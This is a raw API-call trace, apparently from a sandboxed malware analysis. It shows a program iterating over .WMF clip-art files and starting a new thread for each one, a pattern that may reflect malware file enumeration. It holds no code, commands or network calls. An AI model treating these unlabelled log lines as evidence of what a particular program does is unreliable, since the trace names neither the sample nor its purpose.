	[0223.035] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152430.WMF", cAlternateFileName="")) returned 1
	[0223.035] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19cc
	[0223.039] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.039] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x406c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152432.WMF", cAlternateFileName="")) returned 1
	[0223.039] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d0
	[0223.042] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.043] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c4c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152436.WMF", cAlternateFileName="")) returned 1
	[0223.043] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d4
	[0223.045] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.046] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4030, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152556.WMF", cAlternateFileName="")) returned 1
	[0223.046] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d8
	[0223.335] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.370] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3eb4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152558.WMF", cAlternateFileName="")) returned 1
	[0223.370] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19dc
	[0223.382] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.382] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a80, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152560.WMF", cAlternateFileName="")) returned 1
	[0223.382] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e0
	[0223.385] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.386] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152568.WMF", cAlternateFileName="")) returned 1
	[0223.386] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e4
	[0223.388] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.389] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152570.WMF", cAlternateFileName="")) returned 1
	[0223.389] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e8
	[0223.391] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.393] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ab4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152590.WMF", cAlternateFileName="")) returned 1
	[0223.393] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19ec
	[0223.395] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.396] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152594.WMF", cAlternateFileName="")) returned 1
	[0223.396] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f0
	[0223.399] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.399] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2628, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152600.WMF", cAlternateFileName="")) returned 1
	[0223.399] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f4
	[0223.402] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.402] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1884, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152602.WMF", cAlternateFileName="")) returned 1
	[0223.402] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f8
	[0223.405] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.406] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152606.WMF", cAlternateFileName="")) returned 1
	[0223.406] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19fc
	[0223.409] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.410] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3094, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152608.WMF", cAlternateFileName="")) returned 1
	[0223.410] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a00
	[0223.721] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.721] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1748, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152610.WMF", cAlternateFileName="")) returned 1
	[0223.722] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1880
	[0223.724] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.724] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2584, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152622.WMF", cAlternateFileName="")) returned 1
	[0223.724] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a04
	[0223.727] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.728] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6688, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152626.WMF", cAlternateFileName="")) returned 1
	[0223.728] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a08
	[0223.731] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.732] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x785c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152628.WMF", cAlternateFileName="")) returned 1
	[0223.732] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0c
	[0223.734] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.734] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8774, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152688.WMF", cAlternateFileName="")) returned 1
	[0223.734] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a10
	[0223.741] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.742] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152690.WMF", cAlternateFileName="")) returned 1
	[0223.742] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a14
	[0223.746] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.746] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152694.WMF", cAlternateFileName="")) returned 1
	[0223.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a18
	[0223.749] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.750] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c98, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152696.WMF", cAlternateFileName="")) returned 1
	[0223.750] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a1c
	[0223.756] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.756] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152698.WMF", cAlternateFileName="")) returned 1
	[0223.757] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a20
	[0224.077] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.078] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152702.WMF", cAlternateFileName="")) returned 1
	[0224.078] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a28
	[0224.083] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.083] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x674, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152704.WMF", cAlternateFileName="")) returned 1
	[0224.083] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a2c
	[0224.087] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.088] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x132c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152708.WMF", cAlternateFileName="")) returned 1
	[0224.088] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a30
	[0224.092] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.092] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152716.WMF", cAlternateFileName="")) returned 1
	[0224.092] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a34
	[0224.097] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
